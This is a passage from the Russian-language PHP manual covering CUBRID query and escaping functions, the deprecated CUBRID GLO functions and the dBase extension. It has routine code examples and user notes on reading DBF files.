echo $row['address'];
echo $row['age'];
}

// Освобождаем ресурсы. В принципе можно и не делать, так как
// они будут автоматически освобождены после завершения работы скрипта
cubrid_free_result($result);
?>

Смотрите также

  • cubrid_connect() - Открывает соединение к серверу CUBRID
  • cubrid_error() - Возвращает текст последней произошедшей ошибки
  • cubrid_real_escape_string() - Экранирование специальных символов в SQL-запросе
  • cubrid_result() - Получить значение из заданного столбца заданной строки
  • cubrid_fetch_assoc() - Извлечь строку из результирующего набора в виде ассоциативного массива
  • cubrid_unbuffered_query() - Выполнение запроса без загрузки результата в память

User Contributed Notes

There are no user contributed notes for this page.


Экранирование специальных символов в SQL-запросе

  • « cubrid_query
  • cubrid_result »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Экранирование специальных символов в SQL-запросе

cubrid_real_escape_string

(PECL CUBRID >= 8.3.0)

cubrid_real_escape_string — Экранирование специальных символов в SQL-запросе

Описание

cubrid_real_escape_string(string $unescaped_string, resource $conn_identifier = ?): string

Функция возвращает экранированную версию переданной строки. Она экранирует символы: '. В целом, одинарная кавычка используется для обёртывания символьной строки. Также можно использовать двойные кавычки, в зависимости от значения ansi_quotes. Если ansi_quotes установлен в "no", то строка обёрнутая в двойные кавычки будет рассматриваться как строка символов, а не как идентификатор. Значение по умолчанию - "yes". Если вы хотите использовать одинарную кавычку как часть строки - поставьте две одинарные кавычки подряд.

Список параметров

unescaped_string

Строка, которую необходимо экранировать

conn_identifier

Идентификатор соединения CUBRID. Если не задано, то будет использован последнее соединение, возвращённое cubrid_connect().

Возвращаемые значения

Экранированная строка.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_real_escape_string()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$unescaped_str = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
$escaped_str = cubrid_real_escape_string($unescaped_str);

$len = strlen($unescaped_str);

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (t char($len))");
cubrid_execute($conn, "INSERT INTO cubrid_test (t) VALUES('$escaped_str')");

$req = cubrid_execute($conn, "SELECT * FROM cubrid_test");
$row = cubrid_fetch_assoc($req);

var_dump($row);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

array(1) {
  ["t"]=>
  string(95) " !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
}

User Contributed Notes

There are no user contributed notes for this page.


Получить значение из заданного столбца заданной строки

  • « cubrid_real_escape_string
  • cubrid_unbuffered_query »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Получить значение из заданного столбца заданной строки

cubrid_result

(PECL CUBRID >= 8.3.0)

cubrid_result — Получить значение из заданного столбца заданной строки

Описание

cubrid_result(resource $result, int $row, mixed $field = 0): string

Функция возвращает значение из заданного столбца заданной строки результирующего набора.

Список параметров

result

result полученный из cubrid_execute()

row

Номер строки, начиная с 0.

field

Имя или индекс столбца field. Это может быть индекс, имя столбца, имя таблицы с именем столбца, разделённых точкой (tablename.fieldname). Если имя столбца является псевдонимом ('select foo as bar from...'), используйте этот псевдоним вместо реального имени столбца. Если не задано, то будет использован первый столбец.

Возвращаемые значения

Значение заданного столбца в случае успешного выполнения (NULL, если значение равно null).

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_result()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$req = cubrid_execute($conn, "SELECT * FROM code");

$result = cubrid_result($req, 0);
var_dump($result);

$result = cubrid_result($req, 0, 1);
var_dump($result);

$result = cubrid_result($req, 5, "f_name");
var_dump($result);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

string(1) "X"
string(5) "Mixed"
string(4) "Gold"

User Contributed Notes

There are no user contributed notes for this page.


Выполнение запроса без загрузки результата в память

  • « cubrid_result
  • Устаревшие псевдонимы и функции CUBRID »
  • PHP Manual
  • Функции совместимости CUBRID MySQL
  • Выполнение запроса без загрузки результата в память

cubrid_unbuffered_query

(PECL CUBRID >= 8.3.0)

cubrid_unbuffered_query — Выполнение запроса без загрузки результата в память

Описание

cubrid_unbuffered_query(string $query, resource $conn_identifier = ?): resource

Функция выполняет запрос без ожидания его выполнения. Она возвращает значение в процессе создания результирующего набора.

Список параметров

query

SQL-запрос

conn_identifier

Идентификатор соединения CUBRID. Если не задано, то будет использовано последнее соединение, возвращённое cubrid_connect().

Возвращаемые значения

Для SELECT, SHOW, DESCRIBE, EXPLAIN и прочих запросах, возвращающих результирующий набор, cubrid_query() возвращает resource в случае успешного выполнения.

Для операторов SQL другого типа, UPDATE, DELETE, DROP и т.д. возвращает true в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_unbuffered_query()

<?php
$link = cubrid_connect("localhost", 30000, "demodb", "dba", "");
if (!$link)
{
die('Не удалось соединиться.');
}
$query = "select * from code";
$result = cubrid_unbuffered_query($query, $link);

while ($row = cubrid_fetch($result))
{
var_dump($row);
}

cubrid_close_request($result);
cubrid_disconnect($link);
?>

Примечания

Замечание:

Преимущества cubrid_unbuffered_query() имеют свою цену:
вы не сможете использовать cubrid_num_rows() и
cubrid_data_seek() для результирующего набора, возвращённого
cubrid_unbuffered_query().

User Contributed Notes

There are no user contributed notes for this page.


Устаревшие псевдонимы и функции CUBRID

Содержание

  • cubrid_load_from_glo — Читает данные из экземпляра GLO и записывает их в файл
  • cubrid_new_glo — Создаёт экземпляр glo
  • cubrid_save_to_glo — Сохраняет запрошенный файл в экземпляре GLO
  • cubrid_send_glo — Чтение данных из glo и вывод их в стандартное устройство вывода

User Contributed Notes

There are no user contributed notes for this page.


Читает данные из экземпляра GLO и записывает их в файл

  • « Устаревшие псевдонимы и функции CUBRID
  • cubrid_new_glo »
  • PHP Manual
  • Устаревшие псевдонимы и функции CUBRID
  • Читает данные из экземпляра GLO и записывает их в файл

cubrid_load_from_glo

(PECL CUBRID >= 8.3.0)

cubrid_load_from_glo — Читает данные из экземпляра GLO и записывает их в файл

Описание

cubrid_load_from_glo(resource $conn_identifier, string $oid, string $file_name): int

Функция cubrid_load_from_glo() используется для чтения данных из экземпляра GLO и записи их в заданный файл.

Список параметров

conn_identifier

Идентификатор соединения.

oid

Oid экземпляра glo из которого вы хотите прочитать данные.

file_name

Имя целевого файла.

Возвращаемые значения

true в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_load_from_glo()

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
list ($oid) = cubrid_fetch($req);
cubrid_close_request($req);
$res = cubrid_load_from_glo ($con, $oid, "output.jpg");
if ($res) {
echo "Картинка была изменена";
}
}
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: cubrid_load_from_glo()

Замечание:

Функция удалена в CUBRID 3.1.

Смотрите также

  • cubrid_new_glo() - Создаёт экземпляр glo
  • cubrid_save_to_glo() - Сохраняет запрошенный файл в экземпляре GLO
  • cubrid_send_glo() - Чтение данных из glo и вывод их в стандартное устройство вывода

User Contributed Notes

There are no user contributed notes for this page.


Создаёт экземпляр glo

  • « cubrid_load_from_glo
  • cubrid_save_to_glo »
  • PHP Manual
  • Устаревшие псевдонимы и функции CUBRID
  • Создаёт экземпляр glo

cubrid_new_glo

(PECL CUBRID >= 8.3.0)

cubrid_new_glo — Создаёт экземпляр glo

Описание

cubrid_new_glo(resource $conn_identifier, string $class_name, string $file_name): string

Функция cubrid_new_glo() используется для создания экземпляра glo в запрошенном классе (glo класс). Glo создаётся типа LO, и хранится в файле file_name.

Список параметров

conn_identifier

Идентификатор соединения.

class_name

Имя класса, в котором вы собираетесь создать glo.

file_name

Имя целевого файла.

Возвращаемые значения

Oid созданного экземпляра в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_new_glo()

<?php
$oid = cubrid_new_glo ($con, "glo", "input.jpg");
if ($oid){
// тип "image" - "object"
$req = cubrid_execute ($con, "insert into person(image) values($oid)");
if ($req) {
echo "картинка была обновлена";
cubrid_close_request ($req);
cubrid_commit($con);
}
}
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: cubrid_new_glo()

Замечание:

Функция удалена в CUBRID 3.1.

Смотрите также

  • cubrid_save_to_glo() - Сохраняет запрошенный файл в экземпляре GLO
  • cubrid_load_from_glo() - Читает данные из экземпляра GLO и записывает их в файл
  • cubrid_send_glo() - Чтение данных из glo и вывод их в стандартное устройство вывода

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет запрошенный файл в экземпляре GLO

  • « cubrid_new_glo
  • cubrid_send_glo »
  • PHP Manual
  • Устаревшие псевдонимы и функции CUBRID
  • Сохраняет запрошенный файл в экземпляре GLO

cubrid_save_to_glo

(PECL CUBRID >= 8.3.0)

cubrid_save_to_glo — Сохраняет запрошенный файл в экземпляре GLO

Описание

cubrid_save_to_glo(resource $conn_identifier, string $oid, string $file_name): int

Функция cubrid_save_to_glo() используется для сохранения запрошенного файла в экземпляре glo.

Список параметров

conn_identifier

Идентификатор соединения.

oid

Oid экземпляра glo в котором вы хотите сохранить файл.

file_name

Имя целевого файла.

Возвращаемые значения

true в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_save_to_glo()

<?php
$req = cubrid_execute ($con, "select image from person where id=1");
if ($req) {
list ($oid) = cubrid_fetch($req);
cubrid_close_request($req);
$res = cubrid_save_to_glo ($con, $oid, "input.jpg");
if ($res) {
echo "изображение изменено";
}
}
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: cubrid_save_to_glo()

Замечание:

Функция удалена в CUBRID 3.1.

Смотрите также

  • cubrid_new_glo() - Создаёт экземпляр glo
  • cubrid_load_from_glo() - Читает данные из экземпляра GLO и записывает их в файл
  • cubrid_send_glo() - Чтение данных из glo и вывод их в стандартное устройство вывода

User Contributed Notes

There are no user contributed notes for this page.


Чтение данных из glo и вывод их в стандартное устройство вывода

  • « cubrid_save_to_glo
  • dBase »
  • PHP Manual
  • Устаревшие псевдонимы и функции CUBRID
  • Чтение данных из glo и вывод их в стандартное устройство вывода

cubrid_send_glo

(PECL CUBRID >= 8.3.0)

cubrid_send_glo — Чтение данных из glo и вывод их в стандартное устройство вывода

Описание

cubrid_send_glo(resource $conn_identifier, string $oid): int

Функция cubrid_send_glo() используется для чтения данных из glo и вывода их в стандартное устройство вывода PHP.

Список параметров

conn_identifier

Идентификатор соединения.

oid

Oid экземпляра glo из которого вы хотите прочитать данные.

Возвращаемые значения

true в случае успешного выполнения.

false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования cubrid_send_glo()

<?php
$req = cubrid_execute ($con, "select image from person where id =1");
if ($req) {
list ($oid) = cubrid_fetch($req);
cubrid_close_request($req);
Header ("Content-type: image/jpeg");
cubrid_send_glo ($con, $oid);
}
?>

Примечания

Замечание:

Для обратной совместимости может быть использован следующий устаревший псевдоним: cubrid_send_glo()

Замечание:

Функция удалена в CUBRID 3.1.

Смотрите также

  • cubrid_new_glo() - Создаёт экземпляр glo
  • cubrid_save_to_glo() - Сохраняет запрошенный файл в экземпляре GLO
  • cubrid_load_from_glo() - Читает данные из экземпляра GLO и записывает их в файл

User Contributed Notes

There are no user contributed notes for this page.


dBase

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • dBase
    • dbase_add_record — Добавляет запись в базу данных
    • dbase_close — Закрывает базу данных
    • dbase_create — Создаёт базу данных
    • dbase_delete_record — Удаление записей из базы данных
    • dbase_get_header_info — Получает информацию о свойствах полей базы данных
    • dbase_get_record_with_names — Получает запись из базы данных в виде ассоциативного массива
    • dbase_get_record — Получает записи из базы данных, как из индексированного массива
    • dbase_numfields — Получает количество полей базы данных
    • dbase_numrecords — Получает количество записей в базе данных
    • dbase_open — Открывает базу данных
    • dbase_pack — Фиксирует удаление из базы данных
    • dbase_replace_record — Заменяет запись в базе данных

User Contributed Notes

Anonymous 31-Jul-2009 09:51
Unfortunately the dbase functions are not compiled into my commercial server's php and I needed to read some geo data in shape files, which include data in dbfs.

So maybe this will help some others:

<?php
function echo_dbf($dbfname) {
    $fdbf = fopen($dbfname,'r');
    $fields = array();
    $buf = fread($fdbf,32);
    $header=unpack( "VRecordCount/vFirstRecord/vRecordLength", substr($buf,4,8));
    echo 'Header: '.json_encode($header).'<br/>';
    $goon = true;
    $unpackString='';
    while ($goon && !feof($fdbf)) { // read fields:
        $buf = fread($fdbf,32);
        if (substr($buf,0,1)==chr(13)) {$goon=false;} // end of field list
        else {
            $field=unpack( "a11fieldname/A1fieldtype/Voffset/Cfieldlen/Cfielddec", substr($buf,0,18));
            echo 'Field: '.json_encode($field).'<br/>';
            $unpackString.="A$field[fieldlen]$field[fieldname]/";
            array_push($fields, $field);}}
    fseek($fdbf, $header['FirstRecord']+1); // move back to the start of the first record (after the field definitions)
    for ($i=1; $i<=$header['RecordCount']; $i++) {
        $buf = fread($fdbf,$header['RecordLength']);
        $record=unpack($unpackString,$buf);
        echo 'record: '.json_encode($record).'<br/>';
        echo $i.$buf.'<br/>';} //raw record
    fclose($fdbf); }
?>

This function simply dumps an entire file using echo and json_encode, so you can tweak it to your own needs... (eg random access would just be a matter of changing the seek to : fseek($fdbf, $header['FirstRecord']+1 +($header['RecordLength']* $desiredrecord0based); removing the for loop and returning $record

This function doesn't do any type conversion, but it does extract the type if you need to play with dates, or tidy up the numbers etc.

So quick and dirty but maybe of use to somebody and illustrates the power of unpack.

Erich


Введение

Замечание:

Этот модуль был перемещен в репозиторий » PECL и больше не поставляется с PHP 5.3.0.

Эти функции позволяют получить доступ к записям, хранящимся в DBase-формате (DBF) баз данных.

Внимание

Мы не рекомендуем использовать файлы DBase файлы для использования в промышленной эксплуатации. Лучше выберите » SQLite или какую-либо настоящую базу данных; » MySQL или » Postgres являются наиболее частым выбором при работе с PHP. Поддержка dBase больше нужна для импорта и экспорта данных вашей базы данных, поскольку формат её файлов понятен большинству пакетов электронных таблиц (например, Excel).

Предостережение

С версии dbase 7.0.0, база данных автоматически блокируется с помощью flock(). Ранее поддержки блокировок не было, так что два конкурирующих процесса веб-сервера, изменяющие один и тот же файл dBase могли с лёгкостью испортить базу. Такое может произойти даже и в dbase 7.0.0+ на системах, которые реализуют блокировку на уровне процесса с многопоточными SAPI.

База данных dBase является просто последовательностью файлов с фиксированной длиной записи. Записи добавляются в конец файла и удалённые записи будут (физически) хранится до вызова dbase_pack().

Поддерживаются только dbf-файлы уровня 3 (dBASE III+) - 5 (dBASE V). Доступные типы полей dBase:

Типы полей
Поле | dBase тип | Формат | Дополнительная информация
M | Memo | n/a | Тип не поддерживается PHP, такое поле будет игнорироваться
D | Date | YYYYMMDD | Длина поля ограничена 8
T | DateTime | YYYYMMDDhhmmss.uuu | (FoxPro) Проверка на корректность не производится. Доступно с dbase 7.0.0.
N | Number | Число | Вы должны указать длину и точность (количество цифр после десятичной точки).
F | Float | Число с плавающей точкой | То же, что и N.
C | String | A string | Вы должны указать длину. При получении данных, строка будет дополнена справа пробелами до заявленной длины. Более длинные строки будут обрезаны без предупреждения.
L | Boolean | T или Y для true, F или N для false, ? - не инициализировано. | С dbase 7.0.0, возвращается как bool (true или false), или null для не инициализированных полей. Ранее возвращалось как int (1 или 0).

Замечание:

Начиная с dbase 7.0.0 поддерживаются обнуляемые поля для баз данных DBASE_TYPE_FOXPRO. Если поле обнуляемое. При передаче null будет установлен соответствующий флаг и, при дальнейшем извлечении поля, будет возвращено значение null.

Замечание:

Поддержки для индексов и memo-полей нет.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/dbase.

User Contributed Notes

homer8173 at gmail dot com 09-Jan-2020 10:00
it may be installed easily with :

sudo pecl install dbase


Типы ресурсов

В dbase 7.0.0 определён ресурс dbase, который возвращается функциями dbase_open() и dbase_create().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Данный модуль не определяет никакие константы.

DBASE_VERSION (string)
Версия модуля. (Доступно с dbase 7.0.0)
DBASE_RDONLY (int)
Открыть базу данных только для чтения. Используется с dbase_open(). (Доступно с dbase 7.0.0)
DBASE_RDWR (int)
Открыть базу данных для чтения и записи. Используется с dbase_open(). (Доступно с 7.0.0)
DBASE_TYPE_DBASE (int)
Создать базу данных типа dBASE. Используется с dbase_create(). (Доступно с 7.0.0)
DBASE_TYPE_FOXPRO (int)
Создать базу данных типа FoxPro. Используется с dbase_create(). (Доступно с 7.0.0)

User Contributed Notes

There are no user contributed notes for this page.


dBase

Примеры

Большинство примеров в документации требуют наличие базы данных dBase. Мы будем использовать /tmp/test.dbf ,которую создали в примере с dbase_create().

Содержание

  • dbase_add_record — Добавляет запись в базу данных
  • dbase_close — Закрывает базу данных
  • dbase_create — Создаёт базу данных
  • dbase_delete_record — Удаление записей из базы данных
  • dbase_get_header_info — Получает информацию о свойствах полей базы данных
  • dbase_get_record_with_names — Получает запись из базы данных в виде ассоциативного массива
  • dbase_get_record — Получает записи из базы данных, как из индексированного массива
  • dbase_numfields — Получает количество полей базы данных
  • dbase_numrecords — Получает количество записей в базе данных
  • dbase_open — Открывает базу данных
  • dbase_pack — Фиксирует удаление из базы данных
  • dbase_replace_record — Заменяет запись в базе данных

User Contributed Notes

bi.idan [at] gmail.com 12-Feb-2009 07:16
some of you contacted me about memo fields and my script, so i'll just post my answers on the common question here.

(note: this is not an adv for any program, only what i used for myself, and it's free)

so, there are 2 options if you want to create/read memo fields:

1. use a library for java/c++/c# to build a bridge between php and dbf file. i've used dbf2java. althougth it's not near complete as my other option, it's a good start. (http://code.google.com/p/dbf2java-library/)

2. use an external program with pipes to grab the output. i used cdbflite, (http://www.whitetown.com/cdbflite/). it's free, and pretty much gives you everything you need to handle those dbf files. i'm not sure about big databases and it seems you need to register/buy it, but it's again, a start.

hope it helps some of you who needs to handle those database files,

Good luck,
idan
bi.idan AT gmail.com 16-Apr-2007 04:40
I know lots of you dosent really use dbase, but i've builded a class to help the one how dose.
(sorry for bad english)

- dbase.php

<?php

set_time_limit (0);
// site_path defined by parent
require_once (SITE_PATH. '/server/php/libs/dbase/handler.php');

/* DBase (dbf)
 *    manage dbf files, exports and search functionality
 *    with buildin optimizers for fast performance
 */

class DBase
{
    private $handler = false;
    private $searchopt = array (); // Search optimizer

    private function unload ()
    {
        if ($this-> handler !== false)
            unset ($this-> handler);
    }

    public function __construct ($file = false)
    {
        if ($file !== false)
            $this-> load ($file);
    }

    public function __destruct ()
    {
        $this-> unload ();
    }

    public function load ($file)
    {
        $resource = dbase_open ($file, 0);
        $this-> handler = new DBase_Handler ($resource);

        return $this-> handler;
    }

    /* Search
     *    search for string inside header
     *    returns record number
     *        false returned if not found or error occurred
     *    limit_results gets int or false, limit_results equels one will limit the
     *        search results for one result only, false for no limit
     */
    public function search ($headerText, $string, $limit_results = false, $handler = false)
    {
        if ($handler === false)
            $handler = $this-> handler;

        if ($this-> searchopt [$headerText][$string])
            return $this-> searchopt [$headerText][$string];
        else
        {
            $size = $handler-> getSize ();
            if ( ( $headerNumber = $handler-> getHeaderNumber ($headerText) ) !== false)
            {
                $results = array ();
                for ($i = 1; $i < $size; $i++)
                {
                    $record = $handler-> getRecord ($i, false); // Disabled optimizer to prevent memory overflow
                    if (trim ($record [$headerNumber]) == $string)
                    {
                        $results[] = $i;

                        if ( ($limit_results !== false) && (sizeof ($results) == $limit_results) )
                            break;
                    }
                }

                if (sizeof ($results) > 0)
                {
                    $this-> searchopt [$headerText][$string] = $results;
                    return $this-> search ($headerText, $string, $handler);
                }

                return false;
            } else
                return false;
        }
    }
}

?>

- dbase_handler.php

<?php

/* DBase Handler (dbf)
 *    handles dbase resource
 */

class DBase_Handler
{
    private $resource;
    private $size; // Records Count
    private $header = array ();
    private $dataopt = array (); // Data optimizer

    private function setHeader ()
    {
        $this-> header = dbase_get_header_info ($this-> resource);
    }

    public function __construct ($resource)
    {
        $this-> resource = $resource;
        $this-> setHeader ();
        $this-> size = dbase_numrecords ($this-> resource);
    }

    public function __destruct ()
    {
        dbase_close ($this-> resource);
    }

    public function getRecord ($record_number, $dataopt = true)
    {
        if ($record_number > $this-> size)
            return false;
        else
        {
            if ($this-> dataopt [$record_number])
                return $this-> dataopt [$record_number];
            else
            {
                $record = dbase_get_record ($this-> resource, $record_number);
                if ($dataopt === true) // Data saving optimizer
                {
                    $this-> dataopt [$record_number] = $record;
                    return $this-> getRecord ($record_number);
                } else
                    return $record;
            }
        }
    }

    public function getHeaderNumber ($headerText)
    {
        foreach ($this-> header as $index => $header)
        {
            if ($header ['name'] == $headerText)
            {
                return $index;
                break;
            }
        }

        return false;
    }

    public function getHeader ($headerNumber)
    {
        if ($headerNumber <= sizeof ($this-> header))
            return $this-> header [$headerNumber];
        else
            return false;
    }

    public function getSize ()
    {
        return $this-> size;
    }
}

?>


Добавляет запись в базу данных

  • « dBase
  • dbase_close »
  • PHP Manual
  • dBase
  • Добавляет запись в базу данных

dbase_add_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_add_record — Добавляет запись в базу данных

Описание

dbase_add_record(resource $database, array $data): bool

Добавляет данные в базу данных

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

data

Индексированный массив с данными. Количество элементов должно быть равно числу полей в базе данных, в противном случае dbase_add_record() не удастся выполнить.

Замечание:

Если вы используете в качестве параметра запись, которую вернула функция dbase_get_record(), не забудьте сбросить ключ deleted. (прим пер. - unset(record['deleted']);

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Вставка записи в базу данных dBase

<?php

// открыть БД в режиме чтения и записи
$db = dbase_open('/tmp/test.dbf', 2);

if ($db) {
dbase_add_record($db, array(
date('Ymd'),
'Maxim Topolov',
'23',
'max@example.com',
'T'));
dbase_close($db);
}

?>

Смотрите также

  • dbase_delete_record() - Удаление записей из базы данных
  • dbase_replace_record() - Заменяет запись в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Закрывает базу данных

  • « dbase_add_record
  • dbase_create »
  • PHP Manual
  • dBase
  • Закрывает базу данных

dbase_close

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_close — Закрывает базу данных

Описание

dbase_close(resource $database): bool

Закрывает указанный ресурс базы данных.

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Закрытие файла базы данных dBase

<?php

// открыть БД в режиме чтения
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
// получить некоторые данные

dbase_close($db);
}

?>

Смотрите также

  • dbase_open() - Открывает базу данных
  • dbase_create() - Создаёт базу данных

User Contributed Notes

There are no user contributed notes for this page.


Создаёт базу данных

  • « dbase_close
  • dbase_delete_record »
  • PHP Manual
  • dBase
  • Создаёт базу данных

dbase_create

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_create — Создаёт базу данных

Описание

dbase_create(string $path, array $fields, int $type = DBASE_TYPE_DBASE): resource

dbase_create() создаёт базу данных dBase с заданными свойствами. Если файл уже существует, то он не будет предварительно очищен. Для принудительной очистки используйте функцию dbase_pack().

Замечание:

На поведение этой функции влияет значение директивы open_basedir.

Список параметров

path

Путь к базе данных. Это может быть относительный или абсолютный путь к файлу, в котором dBase будет хранить ваши данные.

fields

Массив массивов, в котором каждый массив описывает формат одного поля базы данных. Формат каждого поля состоит из имени этого поля, символа, указывающего тип поля, и, при необходимости, его длину, точность и флаг обнуляемости. Поддерживаемые типы файлов перечислены в вводной секции.

type

Тип создаваемой базы данных. Либо DBASE_TYPE_DBASE либо DBASE_TYPE_FOXPRO.

Замечание:

Имена полей ограничены в длину и не должны превышать 10 символов.

Возвращаемые значения

Возвращает ресурс базы данных, если база данных успешно создана, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Добавлен параметр type.
dbase 7.0.0 | Возвращаемое значение теперь имеет тип resource а не int.

Примеры

Пример #1 Создание файла базы данных dBase

<?php

// база данных "definition"
$def = array(
array("date", "D"),
array("name", "C", 50),
array("age", "N", 3, 0),
array("email", "C", 128),
array("ismember", "L")
);

// создаём
if (!dbase_create('/tmp/test.dbf', $def)) {
echo "Ошибка, не получается создать базу данных\n";
}

?>

Смотрите также

  • dbase_open() - Открывает базу данных
  • dbase_close() - Закрывает базу данных

User Contributed Notes

denvolin 20-Feb-2018 11:41
There is no third param in this function.
According to latest pecl package "dbase-pecl-php7", there are only 2 params.


Удаление записей из базы данных

  • « dbase_create
  • dbase_get_header_info »
  • PHP Manual
  • dBase
  • Удаление записей из базы данных

dbase_delete_record

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_delete_record — Удаление записей из базы данных

Описание

dbase_delete_record(resource $database, int $number): bool

Помечает указанные записи для удаления из базы данных.

Замечание:

Для окончательного удаления записей из базы данных, необходимо вызвать dbase_pack().

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

number

Целое число, в промежутке от 1 до количества записей в базе дынных (количество записей возвращает функция dbase_numrecords()).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Смотрите также

  • dbase_add_record() - Добавляет запись в базу данных
  • dbase_replace_record() - Заменяет запись в базе данных

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о свойствах полей базы данных

  • « dbase_delete_record
  • dbase_get_record_with_names »
  • PHP Manual
  • dBase
  • Получает информацию о свойствах полей базы данных

dbase_get_header_info

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_header_info — Получает информацию о свойствах полей базы данных

Описание

dbase_get_header_info(resource $database): array

Возвращает информацию о структуре полей (столбцов) данного ресурса базы данных.

Список параметров

database

Ресурс базы данных, полученный с помощью dbase_open() или dbase_create().

Возвращаемые значения

Индексированный массив значений для каждой колонки (поля). Индекс массива начинается с 0.

Каждый элемент массива содержит ассоциативный массив информации о столбцах БД следующего вида:

name
Наименование поля
type
Тип поля dBase в удобном для восприятия виде (date, boolean, и т.д.) Поддерживаемые типы файлов перечислены в вводной секции.
length
Максимально хранимое число байт данного поля (включая "precision" - прим. пер.)
precision
Количество цифр после запятой
format
Предложенный в printf() формат спецификации для данного типа
offset
Байт смещения, указывающий размещение поля от начала записи (строки).

Если информация в заголовке базы данных не может быть прочитана, возвращает false.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Получение свойств полей файла базы данных dBase

<?php
// Путь к файлу БД
$db_path = "/tmp/test.dbf";

// Открываем файл БД
$dbh = dbase_open($db_path, 0)
or die("Ошибка! Не получается открыть файл '$db_path'.");

// Получаем информацию о столбцах
$column_info = dbase_get_header_info($dbh);

// Отображение информации
print_r($column_info);
?>

User Contributed Notes

There are no user contributed notes for this page.


Получает запись из базы данных в виде ассоциативного массива

  • « dbase_get_header_info
  • dbase_get_record »
  • PHP Manual
  • dBase
  • Получает запись из базы данных в виде ассоциативного массива

dbase_get_record_with_names

(PHP 5 < 5.3.0, dbase 5, dbase 7)

dbase_get_record_with_names — Получает запись из базы данных в виде ассоциативного массива

Описание

dbase_get_record_with_names(resource $database, int $number): array

Получает запись из базы данных dBase в виде ассоциативного массива (вместе с именами соответствующих полей).

Список параметров

database

Ресурс базы данных, возвращаемый функцией dbase_open() или dbase_create().

number

Индекс записи (Здесь соответствует физическому номеру записи. - прим. пер.) в диапазоне от 1 до dbase_numrecords($dbase_identifier)

Возвращаемые значения

Ассоциативный массив с данными строки. Массив будет включать в себя ключ deleted который равен 1, если запись помечена на удаление (смотрите dbase_delete_record()). Возвращает и пустые записи. Следовательно, этой функцией невозможно извлечь значение или имя поля delete.

Каждое поле преобразуется в соответствующий тип PHP, за исключением:

  • Date преобразуется в строку.
  • DateTime преобразуется в строку.
  • Целые, выходящие из диапазона PHP_INT_MIN..PHP_INT_MAX преобразуются в строки.
  • До dbase 7.0.0, логические значение (L) преобразуются в 1 или 0.

В случае возникновения ошибки, dbase_get_record_with_names() возвращает false.

Список изменений

Версия | Описание
dbase 7.0.0 | Параметр database теперь имеет тип resource а не int.

Примеры

Пример #1 Список всех зарегистрированных пользователей в базе данных

<?php
// открываем базу в режиме чтения
$db = dbase_open('/tmp/test.dbf', 0);

if ($db) {
$record_numbers = dbase_numrecords($db);
for ($i = 1; $i <= $record_numbers; $i++) {
$row = dbase_get_record_with_names($db, $i);
if ($row['ismember'] == 1) {
echo "Member #$i: " . trim($row['name']) . "\n";
}
}
}
// Прим. пер. -
// к полученным с помощью dbase_get_record_with_names значениям записи
// обращаемся по имени - $row['ismember'],
// а в случае с dbase_get_record к значениям записи
// обращаемся по номеру - $row[4]
?>

Смотрите также

  • dbase_get_record() - Получает записи из базы данных, как из индексированного массива

User Contributed Notes

There are no user contributed notes for this page.


Получает записи из базы данных, как из индексированного массива

  • « dbase_get_record_with_names
  • dbase_numfields »
  • PHP Manual
